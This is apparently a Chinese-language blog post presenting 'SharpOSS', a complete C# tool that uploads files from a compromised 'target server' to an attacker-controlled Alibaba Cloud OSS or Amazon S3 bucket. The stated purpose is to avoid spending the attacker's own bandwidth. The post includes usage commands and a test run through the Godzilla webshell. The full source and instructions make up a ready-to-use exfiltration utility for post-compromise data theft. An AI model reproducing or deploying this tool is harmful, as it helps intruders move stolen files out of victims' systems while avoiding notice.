SharpOSS兼容阿里云和亚马逊云

前言:项目中下载文件总是通过远控下载的话,如果远控服务器配置不高的话会比较占服务器的带宽,这边的话就编写一个SharpOSS将占宽问题转接到目标服务器上面来进行处理规避自身服务器占宽问题。

参考文章:https://github.com/uknowsec/SharpOSS

代码实现

using Aliyun.OSS;
using Aliyun.OSS.Common;
using Amazon;
using Amazon.S3;
using Amazon.S3.Model;
using System;
using System.IO;
namespace SharpOSS
{
class Program
{
static void Main(string[] args)
{
if (args.Length != 6)
{
Console.WriteLine("Usage: \n\n" +
"SharpOSS.exe OssType bucketName your_access_id your_access_key endpoint UploadFilePath\n\n" +
"Example:\n\n" +
"SharpOSS.exe aliyun your_buacket your_access_id your_access_key oss-cn-hangzhou.aliyuncs.com d:\\backup.zip\n" +
"SharpOSS.exe amazon your_buacket your_access_id your_access_key us-east-1 d:\\backup.zip\n");
return;
}
string OssType = args[0];
string bucketName = args[1];
string accessKeyId = args[2];
string accessKeySecret = args[3];
string endpoint = args[4];
string fileToUpload = args[5];
if (OssType.ToLower() == "aliyun")
{
OssClient client = new OssClient(endpoint, accessKeyId, accessKeySecret);
try
{
string key = Path.GetFileName(fileToUpload);
try
{
client.PutObject(bucketName, key, fileToUpload);
Console.WriteLine("\n [+] Upload File {0} to {1}.{2} succeeded", key, bucketName, endpoint);
}
catch (Exception ex)
{
Console.WriteLine("\n [-] Failed with error info: {0}", ex.Message);
}
}
catch (OssException ex)
{
Console.WriteLine("\n [-] Failed with error code: {0}; Error info: {1}. \nRequestID:{2}\tHostID:{3}",
ex.ErrorCode, ex.Message, ex.RequestId, ex.HostId);
}
catch (Exception ex)
{
Console.WriteLine("\n [-] Failed with error info: {0}", ex.Message);
}
}else if (OssType.ToLower() == "amazon")
{
try
{
var s3Client = new AmazonS3Client(accessKeyId, accessKeySecret, RegionEndpoint.GetBySystemName(endpoint));
var putRequest = new Amazon.S3.Model.PutObjectRequest
{
BucketName = bucketName,
Key = Path.GetFileName(fileToUpload),
FilePath = fileToUpload,
ContentType = "application/octet-stream"
};
PutObjectResponse response = s3Client.PutObject(putRequest);
Console.WriteLine("\n [+] Upload File {0} to {1} succeeded", Path.GetFileName(fileToUpload), bucketName);
}
catch (AmazonS3Exception ex)
{
Console.WriteLine("\n [-] Failed with error code: {0}; Error info: {1}. \nRequestID:{2}",
ex.ErrorCode, ex.Message, ex.RequestId);
}
catch (Exception ex)
{
Console.WriteLine("\n [-] Failed with error info: {0}", ex.Message);
}
}
else
{
Console.WriteLine($"Current Not Support OSS Type: {args[0]}");
}
}
}
}

阿里云测试

SharpOSS.exe aliyun your_buacket your_access_id your_access_key oss-cn-hangzhou.aliyuncs.com "D:\VisualStudioDatabase\SharpOSS\SharpOSS\bin\Release\SharpOSS-aliyun.exe"

亚马逊云测试

SharpOSS.exe amazon your_buacket your_access_id your_access_key us-east-1 "D:\VisualStudioDatabase\SharpOSS\SharpOSS\bin\Release\ SharpOSS-aliyun.exe"

哥斯拉测试

看来测试结果没有什么问题,如下图所示

对应的s3存储桶也是接受到传输过来的文件,如下图所示

posted @   zpchcbd  阅读(25)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示